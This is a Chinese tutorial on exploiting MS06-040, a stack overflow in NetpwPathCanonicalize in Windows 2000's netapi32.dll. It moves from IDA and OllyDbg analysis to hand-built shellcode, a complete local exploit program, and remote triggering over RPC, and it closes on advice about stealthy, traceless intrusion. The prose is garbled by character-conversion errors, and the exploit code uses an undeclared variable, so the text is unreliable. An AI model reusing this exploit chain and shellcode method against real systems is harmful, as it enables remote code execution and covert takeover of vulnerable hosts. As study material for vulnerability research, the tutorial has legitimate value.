时至今日,网上已有颇多MS06-040的文章,当中不乏精辟之作。与其相比,本文突显业余,技术上无法超越,徒逞口舌之快。本文适合有一定计算机基础,初步了解溢出攻击原理,略微了解逆向技术的朋友阅读。假设您依据本文的指导亲手完毕了所有的7节实验内容,相信您对栈溢出的掌握和漏洞利用的认识一定会到一个更高的level。实验中涉及的所有细节均可重现,使用的源码都已经过具体的凝视附于附录之中。
好了,如今让我们立马去体会把“Impossible”变成“I’m
possible”的那一撇是怎么画进WINDOWS里的吧。
1
浅出篇
——欲善其事,先利其器
思考许久,为了让很多其它的人可以享受到实验的乐趣,我还是决定用一些篇幅来介绍几个在本章的实验中涉及到的逆向工具。没有工具的hacker如同没有枪的战士,欲善其事,先利其器!
1.1
逆向,永恒的主题
微软POST出的漏洞信息是没有技术细节的,一般都是几句简短的相似“XXXX可能存在同意远程代码运行的漏洞”之类的话。光靠这些是没有办法利用,渗透,入侵,控制的。具体技术资料非常难搜到,由于那都是安全专家和hacker们辛苦的研究成果,当然今天讨论的MS06-040除外。要想第一时间研究和利用漏洞,你须要查出漏洞相应的补丁号,追查这个补丁patch了哪几个系统文件的哪几个部分,然后进行逆向分析。
MS06-040指的是windows系统的DLL文件netapi32.dll中的几个导出函数在字符串复制时有边界检查的缺陷。本文的实验和分析都基于WIN2000
SP4版本号的操作系统,它也是这个漏洞危害最严重的操作系统版本号。
在WIN2000
SP4中,Netapi32.dll位于系统文件夹c:/winnt/system32下,大小为309008字节。假设你的系统已经打过补丁,则该文件会被补丁替换,大小为309520字节,原先的漏洞DLL会备份到系统文件夹下的c:/winnt/$NtUninstallKB921883$
里(我为您在本文的附加资料中提供了这个DLL)。Netapi32.dll中几个有溢出问题的函数,本文实验以眼下讨论最多的NetpwPathCanonicalize()函数的溢出为例进行阐述。
Netapi32.dll库中第303个导出函数NetpwPathCanonicalize()用于格式化网络路径字符串,
它须要6个參数:
參数1:指向一个UNICODE字串的指针,用于生成路径字串的第二个部分
參数2:指向一个buffer的指针,用于接收格式化后的路径字串
參数3:指向一个数字的指针,标明參数2所指buffer的大小
參数4:指向一个UNICODE字串的指针,用于生成路径字串的第一个部分
參数5:指针,在漏洞利用中不起作用
參数6:标志位,必需为0
这个函数大体功能是把參数4所指的字串(以后简称4号串)连接上’/’作为路径切割,再连上參数1所指字串(后简称1号串),并将生成的这个新串拷回參数2所指的buffer,也就是返回给2号buffer例如以下形式的字串:
4号串 + ‘/’ +
1号串
该函数在格式化字符串时的函数调用CanonicalizePathName()使用WCSCPY()进行字符串拷贝时,边界检查有缺陷,能够被构造栈溢出。
NetpwPathCanonicalize()函数的细节资料是非常难找到的,MSDN上没有不论什么介绍,甚至在GOOGLE上也仅仅是在srvsvc的接口定义文件IDL里看到了函数声明。在这样的情况下要利用这个函数仅仅有靠自己逆向分析了。上面这些说明就是我用IDA把它反汇编后分析、总结出来的,在本小节中提前摆出来是为了让您在阅读后面这节的汇编代码时提前有一个全局观。
一定要坚信,求人不如靠自己。无论你是cracker还是hacker,无论你做外挂、做脱壳、做病毒分析、还是做exploit的开发者,要获得第一手资料都离不开逆向技术。就算微软发布源代码,逆向技术仍然是安全领域里永恒不变的主题。
1.2
IDA,迷宫的地图
在大体了解了漏洞的位置之后,我们须要进行调试,须要获得详细的栈空间信息以及漏洞被触发时的寄存器信息。进入一个PE文件就好像置身一个错综复杂的迷宫,光靠动态调试器的分析是远远不够的。IDA强大的静态分析和标注功能则是这个迷宫的地图,他能为你的调试导航。
以下我们就用IDA来看看这个神奇的NetpwPathCanonicalize()函数究竟干什么用的。安装好了后,把我们的问题DLL直接丢进IDA,忽悠忽悠几下,它就分析出结构明白质量上乘的汇编代码了。这里要庆幸的是我们研究的是微软的系统API文件,用C语言编写而且没有不论什么加壳之类的保护,所以得到的结果如此优美,差点儿全部的函数都自己主动标注好了。
我们直接去Exports窗体在最后几行找到我们须要分析的NetpwPathCanonicalize,双击就跳到了这个导出函数相应的代码部分,按下空格键汇编代码将以流程图的形式显示出来,给阅读者一个全局的把握。
指南针介绍到此为止,后面的分析就要靠人肉了。这个函数并不复杂,能够看到生成新串的过程实际是在CanonicalizePathName()内完毕(.text:7517F856
call
sub_7517FC68)。这个函数使用局部变量,在栈内开空间暂存新串,这块空间可被溢出。
详细说来,NetpwPathCanonicalize()在调用CanonicalizePathName()前的动作包含:
1.推断第6个參数是否为0,不为0则退出
2.推断第5个參数所指值是否为0,为0则进行一次NetpwPathType的验证调用
3.推断第4个參数所指值是否为0,若不为0则将所指字串放入NetpwPathType进行验证。
4.在这次验证中,假设4号串unicode长度超过0x103(字节长度为0x206),则返回0x7B
(ERROR_INVALID_NAME),引起程序退出
5.验证接收buffer的大小是否为0,否则退出
6.调用CanonicalizePathName()函数
……
CanonicalizePathName()为实际发生溢出的函数,用IDA重点看一下这个函数:
============================
S U B R O U T I N E =============================
7517FC68 int __stdcall sub_
CanonicalizePathName (wchar_t *,wchar_t *,wchar_t *,int,int)
7517FC68 push
ebp
7517FC69 mov ebp, esp
7517FC6B sub esp, 414h
//开辟栈内空间,用于暂存生成的字符串
7517FC71 push ebx
7517FC72 push esi
7517FC73 xor
esi, esi
7517FC75 push edi
7517FC76 cmp [ebp+arg_0], esi
//推断4号串地址是否为空
7517FC79 mov edi, ds:__imp_wcslen
7517FC7F mov ebx,
411h
7517FC84 jz short loc_7517FCED
7517FC86 push [ebp+arg_0]
//压入4号串
7517FC89 call edi ; __imp_wcslen //计算4号串的unicode长度,注意为字节长度的一
//半,这是导致边界检查被突破的根本原因,即 //用UNICODE检查边界,而栈空间是按字节开的
7517FC8B mov esi, eax
7517FC8D pop ecx
7517FC8E test esi, esi
7517FC90 jz short
loc_7517FCF4
7517FC92 cmp esi, ebx
7517FC94 ja loc_7517FD3E
//若越界则退出程序
7517FC9A push [ebp+arg_0] //4号串地址
7517FC9D lea eax,
[ebp+var_414] //栈中暂存串起址
7517FCA3 push eax
7517FCA4 call ds:__imp_wcscpy
//将4号串拷入栈中暂存串。尽管前面的边界 //检查有缺陷,似乎实际能够传入的4号串能够达 //到0x822字节,可是4号串在传入本函数前被
//NetpwPathType()提前检查过,依照前面的分析 //知道,四号串的长度不能超过0x206字节,所以 //光靠这里的检查缺陷还不足以通过4号串制造溢
//出
7517FCAA mov ax, [ebp+esi*2+var_416] //取出此刻暂存串(4号串)的最后两个字节,检
//查是否是斜杠
7517FCB2 pop ecx
7517FCB3 cmp ax, 5Ch
//0x5C=92=ASCII(/)
7517FCB7 pop ecx
7517FCB8 jz short
loc_7517FCD5
7517FCBA cmp ax, 2Fh //0x2F=47=ASCII(/)
7517FCBE jz short
loc_7517FCD5
7517FCC0 lea eax, [ebp+var_414]
7517FCC6 push offset
asc_751717B8 //压入斜杠的unicode
7517FCCB push eax
7517FCCC call
ds:__imp_wcscat //把斜杠的unicode连接到栈中暂存串的末尾
7517FCD2 pop ecx
7517FCD3 inc esi
//把斜杠的长度计入暂存串
7517FCD4 pop ecx
7517FCD5 mov eax, [ebp+arg_4]
//取出1号串,相似的检查1号串的首字符是否是 //斜杠或反斜杠
7517FCD8 mov ax, [eax]
7517FCDB cmp ax,
5Ch
7517FCDF jz short loc_7517FCE7
7517FCE1 cmp ax, 2Fh
7517FCE5 jnz
short loc_7517FCF4
7517FCE7 add [ebp+arg_4], 2
7517FCEB jmp short
loc_7517FCF4
7517FCED mov [ebp+var_414], si
7517FCF4 push [ebp+arg_4]
//1号串地址
7517FCF7 call edi ; __imp_wcslen
7517FCF9 add eax, esi
//计算4号串长+斜杠长度+1号串长的大小
7517FCFB pop ecx
7517FCFC cmp eax, ebx
7517FCFE
ja short loc_7517FD3E //第二次边界检查。从前面分析能够知道,仅仅靠4号 //串是无法制造溢出的,可是1号串的传入没有不论什么限
//制,所以能够通过添加1号串的串长来溢出。栈 //空间为0x414,我们实际可传入的串总长能够达到 //0x828滴
7517FD00 push
[ebp+arg_4] //1号串
7517FD03 lea eax, [ebp+var_414]
7517FD09 push eax
7517FD0A call ds:__imp_wcscat //将1号串连入栈中暂存串,生成终于的路径字串,这个
//调用导致了终于的栈溢出
7517FD10 pop ecx
…………
7517FD66 lea eax,
[ebp+var_414]
7517FD6C push eax
7517FD6D push [ebp+arg_8]
7517FD70
call ds:__imp_wcscpy //将栈中的结果传回第二个參数所指的buffer
7517FD76 pop ecx
7517FD77
xor eax, eax
7517FD79 pop ecx
7517FD7A pop edi
7517FD7B pop
esi
7517FD7C pop ebx
7517FD7D leave
7517FD7E retn
14h
========================= S U B R O U T I N E
==============================
代码1:netapi32.dll反汇编代码片断,完整代码可由附件中的DLL文件反汇编得到
如凝视中所述,两次对栈中暂存串边界的限制都是unicode长度不能超过0x411,换算成字节长度就是0x822,而栈空间的大小是按字节开的0x414,这是边界检查失败的根本所在。
另外,4号串因为必须通过NetpwPathType()的验证才干传入CanonicalizePathName(),所以串长不能超过0x206字节,可是经过wcscat()没有长度限制的1号串之后,就能够成功的制造一个栈溢出了。
1.3
OLLYDBG,庖丁解牛
经过IDA的静态分析,以下我们来尝试一下动态调试这个函数,并触发这个溢出。首先要做的是load这个动态链接库,然后定位到NetpwPathCanonicalize()函数的地址,接着就能够调用这个漏洞函数了。
本地的溢出实验不一定非要找台有漏洞的机器。假设你的机器不是WIN2000
SP4或者是打过补丁的机器,去哪里找这个库文件前面已经说过了。
比方用以下这样的形式调用:
==========================================================================
#include
#include
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE
LibHandle;
MYPROC ProcAdd;
char dllbuf[40] = "./netapi32.dll";
char
Trigger[40] = "NetpwPathCanonicalize";
……//function arg define
LibHandle =
LoadLibrary(dllbuf);
ProcAdd = (MYPROC) GetProcAddress(LibHandle,
Trigger);
……//function arg
init
(ProcAdd)(arg_1,arg_2,arg_3,arg_4,buf5,0);
FreeLibrary(LibHandle);
}
代码2
:DLL挂载,完整的代码位于附件local_exploit_040.c中
上述代码就是我们本地溢出实验代码的框架。你能够先依照前边分析的结果对參数任意的赋几个值试试。在我调试的过程中,VC编译后,假设函数參数传入“正确”,在运行时XP总会报check
esp
erro,不知道是不是我哪个參数没用对,但在远程溢出的RPC调用中是可以正常运行的。
以下来调试一下这个BIN,用OLLYDBG去把netapi32.dll运行的细节搞清楚。朋友们,你们准备好领略庖丁解牛的感觉了吗?
用VC编译链接生成BIN运行是会出错的,不要紧,我们用OLLYDBG打开可运行文件。默认的载入方式会在程序的入口地方停下。我们调试的可运行文件应该是VC生成的debug版本号,所以应该停在PE的载入区,注意这里可不是我们的main()函数哦。
假设你有耐性的下,最好还是按F8单步下去,顺便了解一下WINDOWS载入PE的过程,看看在main()之前都干了点什么。
如图1,离入口不远处,会有GetCommandLineA的调用,后面会有三个对EDX、ECX、EAX的push操作,这是在为main()函数传递參数。之后的那个call就是我们的main()了。当F8单步到这个call,你须要F7单步进入main()函数。
进入main()之后你会看到OLLDBG已经为我们识别出标准的系统API调用并自己主动做了凝视。像C代码里写的那样,这里依次调用了LoadLibarayA、GetProcessAddress、memset等之后连续进行六次push又调了一个函数,这个相应的就是(ProcAdd)(arg_1,arg_2,arg_3,arg_4,buf5,0)的汇编形式了。函数调用的參数入栈顺序是从右向左,所以第一个压的是0。假设你第一次动态调试的话,最好还是看看栈里压入參数的值,在到相应的内存位置去看看内存里的内容,自我感觉这种调试是理解计算机系统底层最直接,最有效的方式。
CPU运行到这个call以后,我们相同用F7进入这个函数,能够看到代码区从0x004xxxxx切换到了0x7xxxxxxx,也就是说这时程序从我们的可运行文件的代码区跳到了netapi32.dll中NetpwPathCanonicalize函数的代码部分。
本地溢出之main()函数入口
继续单步运行,观察寄存器的值,观察每个跳转的运行,结合上一节中你用IDA的分析,验证下当时自己对程序流程的掌握是否正确。
NetpwPathCanonicalize中在两次对NetpwPathType的调用后,那个连续压了5个參数的函数调用就是漏洞的根源,CanonicalizePathName()函数,这里当然要进入细致观察了。
连续跟踪几次之后,相信您对NetpwPathCanonicalize和CanonicalizePathName里的程序流程已经比較熟悉了,对上一节中静态分析的结果也有了新的认识。好,如今我们略微回顾下已有的知识,设计一下如何制造溢出。
依据前边分析的结果,假设我们这样来初始化传入的字串:
4号串
-> 0x12 byte 赋为字符’4’
程序加入的路径切割 -> 0x2 byte Unicode(/) 0x5c00
1号串填充物
-> 0x400 byte
赋为字符’1’
那么这414个字节刚好撑满CanonicalizePathName()函数为自己开的栈空间,1号串往后的四个字节是EBP,再紧接着就是返回地址,也就是说1号串第0x404~0x407的内容是函数返回后EIP的内容!
我们给1号串0x400~0x407位置赋为字符’q’,用OLLDBG看看栈中的情况和我们分析的一样不。CanonicalizePathName在返回时寄存器状态如图2
函数返回前的溢出情况
在函数返回前,EBP的地址为0x0012F21C,其内容已经被我们的填充字符准确覆盖为0x71717171(0x37为‘q’的ASCII),后面的函数返回地址也依照我们预想的被覆盖为0x71717171。返回后EIP将指向0x71717171,我们已经能够控制函数返回时CPU的取址位置了!
略微总结一下,通过动态跟踪,确认了我们静态分析的结果,了解到栈状态和寄存器状态的细节后,我们就能够通过在传入的字符串的特定位置准确的更改函数返回地址,让CanonicalizePathName在返回的时候跳到一个我们指定的地方去接着运行指令——假设那个地方放着我们可爱的shellcode的话……
1.4 shellcode
DIY
一般利用字符串函数溢出的shellcode要求不能有0出现,在这个实验中我们利用的是unicode的字符复制函数,字符串结尾是两个字节的0,所以这条限制会放宽一点——shellcode中不能出现连续的两个字节的0。
了解到这些基本要求后,我们開始我们自己的shellcode
DIY吧。
这个shellcode的功能是弹出一个MessageBox并显示“failwest”。
==========================================================================
#include
#include
int main()
{
HINSTANCE LibHandle;
char dllbuf[11] =
"user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
sub
sp,0x440
xor ebx,ebx
push ebx // cut string
push 0x74736577
push
0x6C696166//push failwest
mov eax,esp //load address of failwest
push ebx
push eax
push eax
push ebx
mov eax,0x77D504EA // address should be
reset in different OS
call eax //call MessageboxA
push 0
mov
eax,0x7C81CDDA
call eax //call exit(0)
}
}
代码3:
shellcode_box.c
为什么要开0x440那么大的栈空间呢,我们根本用不了这么多空间呀?这个问题先卖个关子,我们后面讨论shellcode布置的时候在来回答。
注意MessageBoxA()的入口地址0x77D504EA和exit()函数的入口地址0x7C81CDDA
依据不同的机器、不同的操作系统和不同的补丁情况,可能会不同。自己在调试的时候须要查看一下本机的详细地址,要远程溢出的话当然还要查查目标主机的库信息。最简单的就是用VC提供的Tools里的depends工具查看一下。比方在我实验的系统中打开depends,随便丢个BIN进去看下user32.dll和kernel32.dll的载入情况:
shellcode中函数地址的计算
这里user32.dll的载入基址是0x77D10000,MessageBoxA在其内的offeset是0x000404EA,那么它在内存中的RVA地址应该是这两者之和0x77D504EA,相似的也能够计算出kernel32.dll中exit()的RVA。
用VC把这段程序编译链接执行測试,看到框框跳出来之后,我们能够用IDA之类的工具提取出编译过后的机器码。我这里用的是ultraedit,依照16进制形式打开可执行文件,直接查找我们代码中调用MessageBoxA的地址:EA04D577定位到编译后的机器码(注意内存中word字节的反序关系),当然假设你熟悉PE格式的话直接ctr+g跳到0x1000的代码段里去找代码也行。
找到后对着这一堆机器码我们怎么知道哪里是開始哪里是结束呢?难道去查intel的指令集吗?这里教一个我个人用的土办法:一般在shellcode汇编代码的开头和结尾我都会加上几十个NOP指令,到了机器码里,两大段0x90字节之间的那部分自然就是shellcode了。
如图4,在ultraedit里选中我们的shellcode按16进制复制出来,把格式整理下就得到我们自己制作的shellcode了。
提取shellcode
有了淹没返回地址的偏移,有了自己制作的shellcode,接下来要做的就是怎么在内存中组织这些内容了,这也是栈溢出最精华的地方。
后面的玩法应该有非常多,比方:
玩法A:搜寻jump
esp,在esp后面布置shellcode
玩法B:搜寻jump ebp,
在ebp的位置填入一个比較准确的shellcode地址
玩法C:另类玩法,利用其它寄存器,SEH利用等
函数返回后的溢出情况
应当注意的是,假设採用玩法A,在代码中我们看到函数退出前的字串WSCPY()的目的地址存在EBP+10的地方,而返回指令是retn
14h,也就是说返回后ESP在EBP+14的地方,在ESP处写shellcode意味着WSCPY()的目的buf地址也被覆盖。
在前边动态调试的样例中,返回后的状态如图5所看到的:EBP为0012F21C;ESP为0012F238;那个WSCPY()的目的地址就在EBP+10=0012F22C的地方,恰好位于返回地址和ESP之间。这下清楚了,欲淹ESP,必先淹了目的拷贝地址。
若没有注意这里,毛手毛脚的直接淹到ESP,WSCPY()函数的目的地址被覆盖成无效内存地址,在到达函数返回之前就会引起内存訪问错误,没办法把程序流程转移到shellcode中。当然这样的情况也是能够利用的,比方在淹没串中填写一个有效的地址,将大段字串copy到内存中一个指定的地方。这时shellcode在内存中有两个copy能够应用,一个是栈中刚释放出来的这部分内容,还有一部分是刚刚拷到目的地址的内容。我们能够在jmp
esp之后跳到栈区也能够直接去那块新写入shellcode的区域运行,这感觉有点堆溢出的意思了。
我在尝试这样的方法的时候发现不是非常稳定,由于:首先是地址不能随便选,写到不可读的地方会崩掉;其次内存中冒冒然写上这么大一堆东西,非常easy冲掉实用的数据引起后面一些不确定的后果;最后写入的地方非常可能在运行别的函数的过程中被重写,导致shellcode被破坏。只是这里是在做溢出实验,不是在开发软件,稳定的事先放一放吧,我终于还是实现了方案A.。
再来看方案B,大概是採用这么一种布置形式:
(内存低址)栈顶-------nnnnnnnnnnnnnnnnnssssssssssssssnn(ebp)(ret)------栈底(内存高址)
仅仅要在ret的地方填入进程空间里搜索到的jump
ebp指令地址,在ebp的位置填入相对照较准确的shellcode地址即可(落入nop区域)。
这样的方案在本地溢出中的实现例如案A难度略低,唯一一个导致不稳定的因素就是在EBP里边填的地址要落在我们的shellcode前填充的NOP区域里。在本地溢出中这点是比較easy实现的。当我在远程溢出中实践这样的方案的时候,发现栈状态是动态的,栈的变化范围远大于NOP填充的几百个字节。这样的溢出好比买六合彩撞大运,EBP里的地址要打到shellcode上才干成功。所以方案B仅仅有在本地溢出中可行,有教学意义但没有实战意义。
后面的样例我使用的是方案C。由于在调试过程中我发现程序为了保证堆栈平衡,运行了若干次pop
ecx,而在函数返回前,ecx的内容恰巧被写成了栈中暂存串的起址。于是我们在返回地址中填写一个netapi32.dll进程空间内的call
ecx的指令地址,跳两次之后,EIP会奔到暂存串的起址!这种方法尽管没有通用性,但在本例中却无疑是最最稳定,最最保险的做法。可见,在实战过程中详细问题详细分析是非常重要的。
好,如今略微整理一下思路:函数返回时ecx指向栈中暂存串地址,这个暂存串的形式是:4号串
+ ‘/’ + 1号串。我们在1号串中放shellcode,在4号串尾部淹没返回地址,填写一个jmp
ecx的地址,那么……
综上,我们採用方案C的做法来exploit!
開始之前回答下这节开头提出的问题,shellcode为什么要开那么大的栈空间呢?由于我们的exploit方案是把EIP引到栈区运行shellcode。函数返回后shellcode刚好被放在栈顶之上一点点的地方,这部分内存空间在系统看来内容已经没实用,是能够随便写的。所以一旦遇到函数调用,栈顶就会向上浮动,把我们放shellcode的地方当数据区涂鸦似的胡改一通,破坏到我们的指令。所以我干脆提前把栈顶升起来,用栈把shellcode保护起来,这下我们的shellcode不管怎样都不会被破坏到了。
在来看看实际中我们exploit的细节,栈中的情况是这种:
Ebp-0x414
0xFC字节的4号串,内容为前后都被nop包围的shellcode
0x2字节的程序连上的unicode字符‘/’
0x316字节的1号串,内容为
0x90
Ebp 0x4字节的0x90,相应为1号串的0x317~0x31A字节
Eip
0x751852F9,从netapi32.dll里一条call ecx指令的地址
至于eip覆盖值call
ecx的地址0x751852F9的获得,你能够自己编程搜索内存,简单的做法就是用OLLYDBG的插件Ollyuni。
终于的exploit是这种:
=====================================================================
#include
#include
typedef void (*MYPROC)(LPTSTR);
#define STACK_SPACE
0x31A
char
shellcode[]=
"/x66/x81/xEC/x40/x04/x33/xDB/x53/x68/x77/x65/x73/x74/x68/x66/x61"
"/x69/x6C/x8B/xC4/x53/x50/x50/x53/xB8"
"/xEA/x04/xD5/x77" //
user32.dll
"/xFF/xD0/x6A/x00/xB8"
"/xDA/xCD/x81/x7C"
//exit()
"/xFF/xD0";
int main()
{
char arg_1[0x320];
char
arg_2[0x440];
int arg_3=0x440;
long arg_5=44;
HINSTANCE
LibHandle;
MYPROC ProcAdd;
char dllbuf[40] = "./netapi32.dll";
char
Trigger[40] = "NetpwPathCanonicalize";
LibHandle =
LoadLibrary(dllbuf);
ProcAdd = (MYPROC) GetProcAddress(LibHandle,
Trigger);
memset(arg_1,0,sizeof(arg_1));
memset(arg_2,0,sizeof(arg_2));
memset(arg_4,0,sizeof(arg_4));
memset(arg_1,0x90,sizeof(arg_1)-4);
memset(arg_4,0x90,sizeof(arg_4)-4);//string
should be cut by 2 bytes
0
memcpy(arg_4+0x40,shellcode,0x28);
arg_1[STACK_SPACE+0]=0xF9;
arg_1[STACK_SPACE+1]=0x52;
arg_1[STACK_SPACE+2]=0x18;
arg_1[STACK_SPACE+3]=0x75;
//eip
(ProcAdd)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);
FreeLibrary(LibHandle);
}
代码4:
local_exploit_040.c
本地溢出成功
编译执行,哈哈,享受溢出成功的喜悦吧,记住框框弹出来时的心动吧,这是我们钻研技术的源动力!
2
深入篇
——莫在浮沙筑高台
安全技术和逆向技术从来就是密不可分的,不论对CRACK还是HACK这都好比练习上乘武功前的马步。就像高手行侠仗义的威风之后隐藏着练马步的枯燥乏味,全部美丽的exploits背后都隐藏着无数个对着寄存器发呆的不眠之夜,没有经过这般磨练就好像浮沙中的高台,不能久远。
2.1
初识,RPC的玄机
本地溢出是用来自己学习技术和原理的,真正有效的攻击是网络上的远程溢出。大家都知道MS06-040之所以这么出名就是由于这是一个能够被RPC调用远程触发的漏洞。
眼下网上流行的远程溢出代码我收集到三个版本号,你能够在附录资料中找到这些代码。
假设你精通网络协议,你能够自己构造数据包像附录中的exploit那样在底层模拟RPC会话进行溢出,但我还没到Matrix中operator的那种境地,看着一堆二进制串就知道Nero在里边被人菜。我们在本章兴许实验中将採用Microsoft的标准RPC调用方式来触发这个漏洞。
RPC即Remote
Procedure
Call,是分布式计算中经经常使用到的技术。用MSDN里的话来讲,两台计算机通讯过程也就两种形式:一种是数据的交换,还有一种是进程间的通讯。RPC就是后者。简单说来,RPC就是让你在自己的程序中CALL一个函数(可能须要非常大的计算量),而这个函数是在另外一个或多个远程机器上运行,运行完后将结果传回你的机器进行兴许操作。调用过程中的网络操作对程序猿来说是透明的,你在代码里CALL这个远程函数就跟CALL本地的一个printf()一样方便,仅仅要把接口定义好,RPC体系将替你完毕网络上链接建立、会话握手、用户验证、參数传递、结果返回等细节问题,让程序猿更加关注于程序算法与逻辑,而不是网络细节。
我们要做的是最简单的clientRPC调用,定义好我们要调用的函数的接口文件,然后调一下目标主机的NetpwPathCanonicalize()函数,依照我们本地溢出的那样传进去精心构造的包括shellcode的字符串,那么远程主机在运行这个函数的时候就会溢出,就会运行我们的shellcode!
RPCclient开发流程(引自MSDN)
如图7,首先应当定义远程进程的接口IDL文件。IDL就是Interface
Description
Language,是专门用来定义接口的语言,有过COM编程的朋友对这个东东肯定不会陌生。在这个文件中我们要指定RPC的interface以及这个interface下的function信息,包括函数的声明,參数等等。另外微软的IDL叫做MIDL,是兼容IDL标准的。
定义好的IDL文件接口经过微软的MIDL编译器编译后会生成三个文件,一个clientstub(中文好像是翻成插桩么码桩啥的),一个服务端stub,另一个RPC调用的头文件。当中stub负责RPC调用过程中全部的网络操作细节。
将生成的RPC头文件包括到你的代码里,把stub文件加入到project里和你的代码一起link后,就能够call到远程机器上你指定的函数了。
详细的,我们的IDL文件大概是这种:
========================================================================
[
uuid("4b324fc8-1670-01d3-1278-5a47bf6ee188"),
version(3.0),
endpoint("ncacn_np:[//pipe//browser]")
]
interface browser
{
……
long NetpwPathCanonicalize (
[in]
[unique] [string] wchar_t * arg_00,
[in] [string] wchar_t * arg_01,
[out]
[size_is(arg_03)] char * arg_02,
[in] [range(0, 64000)] long arg_03,
[in]
[string] wchar_t * arg_04,
[in,out] long * arg_05,
[in] long
arg_06
);
……
}
代码5:
IDL代码片断,完整代码见rpc_exploit_040.idl
IDL的第一个部分是定义接口用的头,须要指明UUID和endpoint。简单说来,UUID用来唯一的指明一个接口,我们想调用的NetpwPathCanonicalize()函数在srvsvc这个interface中。这些接口的技术资料是比較少的,我是參考了samba上面windows网络编程技术资料才查到的。假设你要编写网络程序的话,你可能要常常去
http://www.samba.org上查相关的接口信息。我在samba的ftp上(
http://samba.org/ftp/unpacked/samba4/source/librpc/idl/srvsvc.idl
)下载了接口定义文件srvsvc.idl,里边定义了从srvsvc下的全部能够调用的函数信息。除此以外,我还整理了一些其它的RPC接口资料一并放在了附加资料中,您能够尽情享用。
值得一提的是,RPC体系在向远程接口映射详细的函数时,是依照IDL里函数定义的顺序来定位的,而不是函数的名称!看附件里的rpc_exploit_040.idl你会发如今实际用到的函数定义前,我胡乱的定义了0x1e个函数,没什么别的意思,就是为了保证我们的函数在第0x1f个。
除了IDL我还用了一个ACF文件来指定一个句柄。您能够用MIDL编译器编译这两个接口定义文件rpc_exploit_040.acf和rpc_exploit_040.idl。这个编译器被包含在VC6.0的组件里,在命令行下使用,设置好正确的路径后输入命令:
midl
/acf rpc_exploit_040.acf
rpc_exploit_040.idl
编译成功后,会在当前路径生成三个文件:
rpc_exploit_040_s.c RPC服务端stub(桩)
rpc_exploit_040_c.c RPCclientstub(桩)
rpc_exploit_040.h
RPC头文件
把两个stub加入进project,头文件include上,和调用远程函数的程序一起link,你就能够试着去调用远程主机的NetpwPathCanonicalize()函数了。你能够參照下附录中的rpc_exploit_040.c代码,体会一下远程调用的感觉。
最后须要注意的是我们IDL里定义的NetpwPathCanonicalize()函数比我们在上一章本地溢出实验中使用的函数多出了一个參数arg_00。这个參数是RPC加上去的,实际上并不会传递给netapi32.dll里的NetpwPathCanonicalize()函数,在使用时别让它指向空即可了,并不影响我们的实验。
2.2
Hacking,远程攻击
看完上一节的网络编程,相信你已经迫不及待的要把我们的shellcode送到远程机器上去试一下看看能不能出个MessageBoxA了。可是首先得有一个被攻击的主机。事实上我的靶机已经patch过补丁了,无奈我拆了硬盘挂在别的机器上,用备份里有漏洞的netapi32.dll替换了system32里和system32/dllcache文件夹下的有补丁的DLL,算是拥有了一个可以进行调试的环境。
稍微改动一下上一章本地溢出中的代码,改成RPC的调用,结果靶机并没有依照我们预想的那样蹦个框框出来,而是直接系统崩溃重新启动了!
远程shellcode运行出错
想想怎么回事?看看提示,是services.exe出现的异常。给靶机武装上VC6.0和OLLYDBG,用OLLYDBG直接attach到service进程上,ctr+g到NetpwPathCanonicalize()的入口,按F2下个断点,这样就行在远程机上调试了。
跟踪进去不难发现,问题出在shellcode里调用的那两个函数的地址上,我这里调试用的是XP
SP2,靶机是WIN2000 SP4,无论是user32.dll还是kernel.dll都差了老远,所以要又一次计算函数地址,比方在我的实验环境中:
函数名
基址(2000) 偏移量(2000) RVA(2000) RVA(XP)
Beep 0x7C570000 0x0000D4E1 0x7C57D4E1
0x7C837A77
MessageBoxA 0x77E10000 0x00003D81 0x77E13D81
0x77D504EA
ExitProcess 0x7C570000 0x000269DA 0x7C5969DA
0x7C81CDDA
在shellcode中的对应位置改动一下函数地址,赶快往外发吧!我当时在VC里点感叹号执行的时候就像星矢对波士顿射黄金箭的心情一样充满了善良美好的期望,背负了维护世界和平的重任,为了自由为了亲人为了朋友为了爱而让它执行。
结果非常不幸,靶机并没有弹出我们希望的BOX,可是也没有像前面攻击失败那样搞的系统崩溃而重新启动。假设你有声卡连着音响的话,你应该能听到一声MessageBox弹出时那熟悉的“咚”的一声;假设没有声卡的话主板也会“嘀”一下的。用OLLYDBG跟踪调试一下,发现程序如我们设计的那样在函数返回时执行了call
ecx,然后顺着shellcode运行,但到了call
MessageBoxA的时候,无法返回,程序挂起了。我跟踪进MessageBoxA这个调用到最底层,大概是在获得最顶端窗体句柄的时候出的问题。不停的发溢出攻击,在靶机的任务管理器里看service.exe这个进程会不停的添加内存使用,同一时候也不停的“咚咚”或者“嘀嘀”。
这是为什么呢?
我认为这个现象能够这样解释:因为我们溢出的进程service.exe是一个服务,服务是不和用户界面打交道的,在用户登录操作系统之前就已经開始在后台执行了,尽管它也载入user32.dll,可是在真正涉及到UI的时候,它甚至无法知道要把这个框框pop到哪个用户的桌面上。所以说这里我们实际上已经攻击成功了,MessageBox是踏踏实实的弹出来了,那一下“咚”或者“嘀”能够作证,系统没有崩溃能够作证。OLLYDBG调试时程序挂起应该是框框弹出来,等待鼠标点击“确定”button的消息,以便退出函数调用,而这个框框又不知道弹到哪里去了,显示不在桌面上,所以我们没办法点button,也就自然退不出函数调用了,这也解释了service.exe非常有规律的不断添加内存使用的现象。
综上,结合RPC调用编程和本地溢出实验中的技术,我们已经能够让远程目标机执行随意的代码了(尽管仅仅听到响声没看到框框)。
2.3
踏雪无痕,寄存器状态的恢复
假设你是一个真正的hacker,那么对你来说最重要的是悄无声息的控制而不是舞刀弄枪的破坏。回忆一下我们的shellcode在退出时调用了exit(),假设系统服务进程service.exe
退出了会对操作系统产生什么影响?上一节中之所以系统没有崩溃是由于程序停在了MessageBoxA的调用上,等待我们去点击“确定”button,要是真的点上了系统不崩才怪呢。
相信可以把实验做到如今这个程度的你一定不会甘心于一个毛手毛脚的无法正常退出的攻击,这就好比做贼做的像《疯狂的石头》里那个拿榔头抢面包的哥们儿一样不够专业。专业的入侵应当“随风潜入夜,润物细无声”。以下我们就来说说如何在溢出结束后恢复到原进程的正常运行,让shellcode做到踏雪无痕!
函数返回是通过ret时三个重要的寄存器EBP,EIP,ESP的内容来实现的,仅仅要在shellcode结束时恢复这三个寄存器的内容,就行让函数正常返回
看一下溢出时这几个寄存器的情况:
EBP
指向前一个调用的栈底,溢出时被我们破坏
